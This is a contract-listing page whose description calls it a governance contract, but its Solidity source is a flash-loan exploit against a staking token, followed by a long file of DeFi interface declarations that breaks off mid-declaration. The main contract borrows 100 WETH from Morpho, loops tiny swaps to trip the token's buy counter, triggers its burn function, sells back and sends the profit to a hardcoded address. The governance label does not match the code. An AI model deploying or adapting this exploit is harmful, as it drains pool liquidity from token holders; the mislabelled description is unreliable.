Description:
Governance contract for decentralized decision-making.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"EvmCode/eth/success/muskito.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\r
pragma solidity ^0.8.10;\r
\r
import "./../interface.sol";\r
contract hello {\r
WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r
IUniswapV2Router private constant router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\r
Staking bevo;\r
IMorphoBuleFlashLoan morpho = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\r
uint256 step;\r
IgetTargetAddress Iget=IgetTargetAddress(0x62d42b3b1f80F3887C75320D4ec71dE288F97B6c);\r
\r
function step1()external payable {\r
Iget.SetTargetAdress(address(0x7eF790D9BCCC87989bE0Fdb88FFb955bec3d5E92));\r
bevo = Staking(Iget.targetAdress());\r
weth.approve(address(morpho), type(uint256).max); \r
weth.approve(address(router), type(uint256).max);\r
bevo.approve(address(router), type(uint256).max);\r
weth.deposit{value: address(this).balance - 20000000000}();\r
}\r
function withdraw(uint256 _step) external { \r
\r
step = _step;\r
morpho.flashLoan(address(weth), 100 ether, abi.encodePacked(uint256(1)));\r
block.coinbase.call{value : 1000000000}("");\r
}\r
function onMorphoFlashLoan(uint256 x, bytes memory) external {\r
address[] memory path = new address[](2);\r
path[0] = address(weth);\r
path[1] = address(bevo);\r
if(bevo.buys() < 70000){\r
for (uint i = 0;i < step ;i++){\r
router.swapExactTokensForTokens (\r
1 , 0, path, address(this), block.timestamp\r
);\r
}\r
}\r
if(bevo.buys() > 70000){\r
router.swapExactTokensForTokens (\r
weth.balanceOf(address(this)) , 0, path, address(this), block.timestamp\r
);\r
\r
bevo.burn();\r
\r
address[] memory pathsell = new address[](2);\r
pathsell[0] = address(bevo);\r
pathsell[1] = address(weth);\r
router.swapExactTokensForTokensSupportingFeeOnTransferTokens (\r
bevo.balanceOf(address(this)), 0, pathsell, address(this), block.timestamp\r
);\r
\r
weth.withdraw(weth.balanceOf(address(this)) - 100 ether);\r
address(0xa5C7AdC427c6db09E5B34629E2A05ECef4e4F14f).call{value : address(this).balance}("");\r
}\r
\r
}\r
receive() external payable { }\r
}\r
/* -------------------- Interface -------------------- */\r
\r
interface Staking {\r
function transfer(address to, uint256 amount) external returns (bool);\r
function approve(address spender, uint256 amount) external returns (bool);\r
function balanceOf(address account) external view returns (uint256);\r
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
function buys()external view returns (uint256);\r
\r
function burn() external;\r
}\r
\r
\r
\r
"
},
"EvmCode/eth/interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\r
\r
pragma solidity >=0.7.0 <0.9.0;\r
\r
interface IERC20 {\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
function name() external view returns (string memory);\r
function symbol() external view returns (string memory);\r
function decimals() external view returns (uint8);\r
function totalSupply() external view returns (uint256);\r
function balanceOf(address owner) external view returns (uint256);\r
function allowance(address owner, address spender) external view returns (uint256);\r
function approve(address spender, uint256 value) external returns (bool);\r
function transfer(address to, uint256 value) external returns (bool);\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
function withdraw(uint256 wad) external;\r
function deposit(uint256 wad) external returns (bool);\r
function owner() external view returns (address);\r
}\r
interface IUniswapV2Factory {\r
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);\r
function feeTo() external view returns (address);\r
function feeToSetter() external view returns (address);\r
function getPair(address tokenA, address tokenB) external view returns (address pair);\r
function allPairs(uint256) external view returns (address pair);\r
function allPairsLength() external view returns (uint256);\r
function createPair(address tokenA, address tokenB) external returns (address pair);\r
function setFeeTo(address) external;\r
function setFeeToSetter(address) external;\r
}\r
\r
interface IUniswapV2Pair {\r
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\r
function sync() external;\r
function skim(address to) external;\r
function token0() external view returns (address);\r
function token1() external view returns (address);\r
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r
function price0CumulativeLast() external view returns (uint256);\r
function price1CumulativeLast() external view returns (uint256);\r
function balanceOf(address account) external view returns (uint256);\r
function approve(address spender, uint256 value) external returns (bool);\r
function transfer(address to, uint256 value) external returns (bool);\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
function burn(address to) external returns (uint256 amount0, uint256 amount1);\r
}\r
\r
interface IFlashLoanRecipient {\r
function receiveFlashLoan(\r
IERC20[] memory tokens,\r
uint256[] memory amounts,\r
uint256[] memory feeAmounts,\r
bytes memory userData\r
) external;\r
}\r
interface IFlash {\r
function flashLoan(address token, uint256 assets, bytes calldata data) external ;\r
function supply(\r
address asset,\r
uint256 amount,\r
address onBehalfOf,\r
uint16 referralCode\r
) external;\r
function withdraw(\r
address asset,\r
uint256 amount,\r
address to\r
) external returns (uint256) ;\r
function borrow(\r
address asset,\r
uint256 amount,\r
uint256 interestRateMode,\r
uint16 referralCode,\r
address onBehalfOf\r
) external;\r
function repay(\r
address asset,\r
uint256 amount,\r
uint256 interestRateMode,\r
address onBehalfOf\r
) external;\r
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external ;\r
\r
}\r
\r
interface WETH {\r
function approve(address guy, uint256 wad) external returns (bool);\r
function withdraw(uint256 wad)external;\r
function balanceOf(address account) external view returns (uint256);\r
function transfer(address dst, uint256 wad) external returns (bool);\r
function deposit() external payable;\r
}\r
interface IWETH is WETH{}\r
\r
interface IERC777 {\r
function name() external view returns (string memory);\r
\r
function symbol() external view returns (string memory);\r
\r
function granularity() external view returns (uint256);\r
\r
function totalSupply() external view returns (uint256);\r
\r
function balanceOf(\r
address owner\r
) external view returns (uint256);\r
\r
function approve(address spender, uint256 value) external returns (bool);\r
\r
function transfer(address to, uint256 value) external returns (bool);\r
\r
function send(address recipient, uint256 amount, bytes calldata data) external;\r
\r
function burn(uint256 amount, bytes calldata data) external;\r
\r
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);\r
\r
function authorizeOperator(\r
address operator\r
) external;\r
\r
function revokeOperator(\r
address operator\r
) external;\r
\r
function defaultOperators() external view returns (address[] memory);\r
\r
function operatorSend(\r
address sender,\r
address recipient,\r
uint256 amount,\r
bytes calldata data,\r
bytes calldata operatorData\r
) external;\r
\r
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external;\r
\r
event Sent(\r
address indexed operator,\r
address indexed from,\r
address indexed to,\r
uint256 amount,\r
bytes data,\r
bytes operatorData\r
);\r
\r
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);\r
\r
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);\r
\r
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);\r
\r
event RevokedOperator(address indexed operator, address indexed tokenHolder);\r
}\r
\r
interface Uni_Pair_V3 {\r
function token0() external view returns (address);\r
function token1() external view returns (address);\r
function swap(\r
address recipient,\r
bool zeroForOne,\r
int256 amountSpecified,\r
uint160 sqrtPriceLimitX96,\r
bytes calldata data\r
) external returns (int256 amount0, int256 amount1);\r
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
\r
interface Uni_Router_V3 {\r
struct ExactInputSingleParams {\r
address tokenIn;\r
address tokenOut;\r
uint24 fee;\r
address recipient;\r
uint256 deadline;\r
uint256 amountIn;\r
uint256 amountOutMinimum;\r
uint160 sqrtPriceLimitX96;\r
}\r
\r
struct ExactOutputSingleParams {\r
address tokenIn;\r
address tokenOut;\r
uint24 fee;\r
address recipient;\r
uint256 deadline;\r
uint256 amountOut;\r
uint256 amountInMaximum;\r
uint160 sqrtPriceLimitX96;\r
}\r
\r
struct ExactInputParams {\r
bytes path;\r
address recipient;\r
uint256 amountIn;\r
uint256 amountOutMinimum;\r
}\r
\r
struct ExactOutputParams {\r
bytes path;\r
address recipient;\r
uint256 amountOut;\r
uint256 amountInMaximum;\r
}\r
\r
function swapExactTokensForTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] calldata path,\r
address to\r
) external payable returns (uint256 amountOut);\r
\r
function exactInputSingle(\r
ExactInputSingleParams memory params\r
) external payable returns (uint256 amountOut);\r
\r
function exactOutputSingle(\r
ExactOutputSingleParams calldata params\r
) external payable returns (uint256 amountIn);\r
\r
function exactInput(\r
ExactInputParams memory params\r
) external payable returns (uint256 amountOut);\r
\r
function exactOutput(\r
ExactOutputParams calldata params\r
) external payable returns (uint256 amountIn);\r
}\r
\r
interface Uni_Router_V2 {\r
function WETH() external view returns (address);\r
\r
function addLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 amountADesired,\r
uint256 amountBDesired,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
function addLiquidityETH(\r
address token,\r
uint256 amountTokenDesired,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
function factory() external view returns (address);\r
\r
function getAmountIn(\r
uint256 amountOut,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountIn);\r
\r
function getAmountOut(\r
uint256 amountIn,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountOut);\r
\r
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
function removeLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function removeLiquidityETH(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityETHWithPermit(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityWithPermit(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function swapETHForExactTokens(\r
uint256 amountOut,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable;\r
\r
function swapExactTokensForETH(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapExactTokensForTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapTokensForExactETH(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapTokensForExactTokens(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
// receive () external payable;\r
}\r
\r
\r
interface IPancakeCallee {\r
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
interface IPancakePair {\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
function name() external pure returns (string memory);\r
\r
function symbol() external pure returns (string memory);\r
\r
function decimals() external pure returns (uint8);\r
\r
function totalSupply() external view returns (uint256);\r
\r
function balanceOf(\r
address owner\r
) external view returns (uint256);\r
\r
function allowance(address owner, address spender) external view returns (uint256);\r
\r
function approve(address spender, uint256 value) external returns (bool);\r
\r
function transfer(address to, uint256 value) external returns (bool);\r
\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
\r
function DOMAIN_SEPARATOR() external view returns (bytes32);\r
\r
function PERMIT_TYPEHASH() external pure returns (bytes32);\r
\r
function nonces(\r
address owner\r
) external view returns (uint256);\r
\r
function permit(\r
address owner,\r
address spender,\r
uint256 value,\r
uint256 deadline,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external;\r
\r
event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\r
event Swap(\r
address indexed sender,\r
uint256 amount0In,\r
uint256 amount1In,\r
uint256 amount0Out,\r
uint256 amount1Out,\r
address indexed to\r
);\r
event Sync(uint112 reserve0, uint112 reserve1);\r
\r
function MINIMUM_LIQUIDITY() external pure returns (uint256);\r
\r
function factory() external view returns (address);\r
\r
function token0() external view returns (address);\r
\r
function token1() external view returns (address);\r
\r
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r
\r
function price0CumulativeLast() external view returns (uint256);\r
\r
function price1CumulativeLast() external view returns (uint256);\r
\r
function kLast() external view returns (uint256);\r
\r
function mint(\r
address to\r
) external returns (uint256 liquidity);\r
\r
function burn(\r
address to\r
) external returns (uint256 amount0, uint256 amount1);\r
\r
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\r
\r
function skim(\r
address to\r
) external;\r
\r
function sync() external;\r
\r
function initialize(address, address) external;\r
}\r
\r
interface IPancakeRouter {\r
function WETH() external view returns (address);\r
\r
function addLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 amountADesired,\r
uint256 amountBDesired,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
function addLiquidityETH(\r
address token,\r
uint256 amountTokenDesired,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
function factory() external view returns (address);\r
\r
function getAmountIn(\r
uint256 amountOut,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountIn);\r
\r
function getAmountOut(\r
uint256 amountIn,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountOut);\r
\r
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
function removeLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function removeLiquidityETH(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityETHWithPermit(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityWithPermit(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function swapETHForExactTokens(\r
uint256 amountOut,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable;\r
\r
function swapExactTokensForETH(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapExactTokensForTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapTokensForExactETH(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapTokensForExactTokens(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
receive() external payable;\r
}\r
\r
\r
\r
interface WBNB {\r
function deposit() external payable;\r
function withdraw(uint256 wad) external;\r
function balanceOf(address account) external view returns (uint256);\r
function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
interface IBalancerVault {\r
enum SwapKind {\r
GIVEN_IN,\r
GIVEN_OUT\r
}\r
\r
struct SingleSwap {\r
bytes32 poolId;\r
SwapKind kind;\r
address assetIn;\r
address assetOut;\r
uint256 amount;\r
bytes userData;\r
}\r
\r
struct FundManagement {\r
address sender;\r
bool fromInternalBalance;\r
address payable recipient;\r
bool toInternalBalance;\r
}\r
\r
function swap(\r
SingleSwap memory singleSwap,\r
FundManagement memory funds,\r
uint256 limit,\r
uint256 deadline\r
) external payable returns (uint256 amountCalculated);\r
\r
struct BatchSwapStep {\r
bytes32 poolId;\r
uint256 assetInIndex;\r
uint256 assetOutIndex;\r
uint256 amount;\r
bytes userData;\r
}\r
\r
function batchSwap(\r
SwapKind kind,\r
BatchSwapStep[] memory swaps,\r
address[] memory assets,\r
FundManagement memory funds,\r
int256[] memory limits,\r
uint256 deadline\r
) external;\r
\r
struct JoinPoolRequest {\r
address[] asset;\r
uint256[] maxAmountsIn;\r
bytes userData;\r
bool fromInternalBalance;\r
}\r
\r
struct ExitPoolRequest {\r
address[] asset;\r
uint256[] minAmountsOut;\r
bytes userData;\r
bool toInternalBalance;\r
}\r
\r
function joinPool(\r
bytes32 poolId,\r
address sender,\r
address recipient,\r
JoinPoolRequest memory request\r
) external payable;\r
\r
function exitPool(\r
bytes32 poolId,\r
address sender,\r
address payable recipient,\r
ExitPoolRequest memory request\r
) external payable;\r
\r
function flashLoan(\r
address recipient,\r
address[] memory tokens,\r
uint256[] memory amounts,\r
bytes memory userData\r
) external;\r
\r
function getPoolTokens(\r
bytes32 poolId\r
) external view returns (IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);\r
}\r
\r
\r
interface IERC721 {\r
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\r
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\r
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\r
\r
function balanceOf(\r
address owner\r
) external view returns (uint256 balance);\r
\r
function ownerOf(\r
uint256 tokenId\r
) external view returns (address owner);\r
\r
function safeTransferFrom(address from, address to, uint256 tokenId) external;\r
\r
function transferFrom(address from, address to, uint256 tokenId) external;\r
\r
function approve(address to, uint256 tokenId) external;\r
\r
function getApproved(\r
uint256 tokenId\r
) external view returns (address operator);\r
\r
function setApprovalForAll(address operator, bool _approved) external;\r
\r
function isApprovedForAll(address owner, address operator) external view returns (bool);\r
\r
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\r
\r
function burn(\r
uint256 id\r
) external;\r
}\r
\r
interface IERC721Enumerable is IERC721 {\r
/**\r
* @dev Returns the total amount of tokens stored by the contract.\r
*/\r
function totalSupply() external view returns (uint256);\r
\r
/**\r
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.\r
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\r
*/\r
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);\r
\r
/**\r
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\r
* Use along with {totalSupply} to enumerate all tokens.\r
*/\r
function tokenByIndex(uint256 index) external view returns (uint256);\r
}\r
\r
\r
\r
interface IvVISR {\r
function balanceOf(\r
address account\r
) external view returns (uint256);\r
\r
function mint(address account, uint256 amount) external;\r
}\r
\r
interface IRouter {\r
function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] calldata path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
uint256 amountOutMin,\r
address[] calldata path,\r
address to,\r
uint256 deadline\r
) external payable;\r
\r
function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] calldata path,\r
address to,\r
uint256 deadline\r
) external;\r
}\r
\r
interface ILendingPool {\r
function flashLoan(\r
address receiverAddress,\r
address[] calldata assets,\r
uint256[] calldata amounts,\r
uint256[] calldata modes,\r
address onBehalfOf,\r
bytes calldata params,\r
uint16 referralCode\r
) external;\r
\r
function getUserAccountData(\r
address user\r
)\r
external\r
view\r
returns (\r
uint256 totalCollateralETH,\r
uint256 totalDebtETH,\r
uint256 availableBorrowsETH,\r
uint256 currentLiquidationThreshold,\r
uint256 ltv,\r
uint256 healthFactor\r
);\r
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
/**\r
* @dev Allows depositors to enable/disable a specific deposited asset as collateral\r
* @param asset The address of the underlying asset deposited\r
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise\r
*\r
*/\r
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;\r
function borrow(\r
address asset,\r
uint256 amount,\r
uint256 interestRateMode,\r
uint16 referralCode,\r
address onBehalfOf\r
) external;\r
\r
function repay(address asset, uint256 amount, uint256 RateMode,address onBehalfOf) external payable;\r
function repay(address _reserve, uint256 _amount, address _onBehalfOf) external payable;\r
function withdraw(address asset, uint256 amount, address to) external returns (uint256);\r
}\r
\r
\r
interface IDaiFlashloan {\r
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\r
}\r
\r
interface IAaveFlashloan {\r
function getUserAccountData(address user)\r
external\r
view\r
returns (\r
uint256 totalCollateralBase,\r
uint256 totalDebtBase,\r
uint256 availableBorrowsBase,\r
uint256 currentLiquidationThreshold,\r
uint256 ltv,\r
uint256 healthFactor\r
);\r
\r
function flashLoan(\r
address receiverAddress,\r
address[] calldata assets,\r
uint256[] calldata amounts,\r
uint256[] calldata modes,\r
address onBehalfOf,\r
bytes calldata params,\r
uint16 referralCode\r
) external;\r
function flashLoanSimple(\r
address receiverAddress,\r
address asset,\r
uint256 amount,\r
bytes calldata params,\r
uint16 referralCode\r
) external;\r
\r
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
\r
function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
\r
function borrow(\r
address asset,\r
uint256 amount,\r
uint256 interestRateMode,\r
uint16 referralCode,\r
address onBehalfOf\r
) external;\r
\r
function repay(\r
address asset,\r
uint256 amount,\r
uint256 interestRateMode,\r
address onBehalfOf\r
) external returns (uint256);\r
\r
function withdraw(address asset, uint256 amount, address to) external returns (uint256);\r
}\r
\r
\r
interface IcurveYSwap {\r
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
}\r
\r
interface IHarvestUsdcVault {\r
function deposit(\r
uint256 amountWei\r
) external;\r
\r
function withdraw(\r
uint256 numberOfShares\r
) external;\r
\r
function balanceOf(\r
address account\r
) external view returns (uint256);\r
}\r
\r
interface IUniswapV2Router {\r
function WETH() external view returns (address);\r
\r
function addLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 amountADesired,\r
uint256 amountBDesired,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
function addLiquidityETH(\r
address token,\r
uint256 amountTokenDesired,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
function factory() external view returns (address);\r
\r
function getAmountIn(\r
uint256 amountOut,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountIn);\r
\r
function getAmountOut(\r
uint256 amountIn,\r
uint256 reserveIn,\r
uint256 reserveOut\r
) external pure returns (uint256 amountOut);\r
\r
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
function removeLiquidity(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function removeLiquidityETH(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityETHWithPermit(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountToken, uint256 amountETH);\r
\r
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
address token,\r
uint256 liquidity,\r
uint256 amountTokenMin,\r
uint256 amountETHMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountETH);\r
\r
function removeLiquidityWithPermit(\r
address tokenA,\r
address tokenB,\r
uint256 liquidity,\r
uint256 amountAMin,\r
uint256 amountBMin,\r
address to,\r
uint256 deadline,\r
bool approveMax,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external returns (uint256 amountA, uint256 amountB);\r
\r
function swapETHForExactTokens(\r
uint256 amountOut,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable returns (uint256[] memory amounts);\r
\r
function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external payable;\r
\r
function swapExactTokensForETH(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
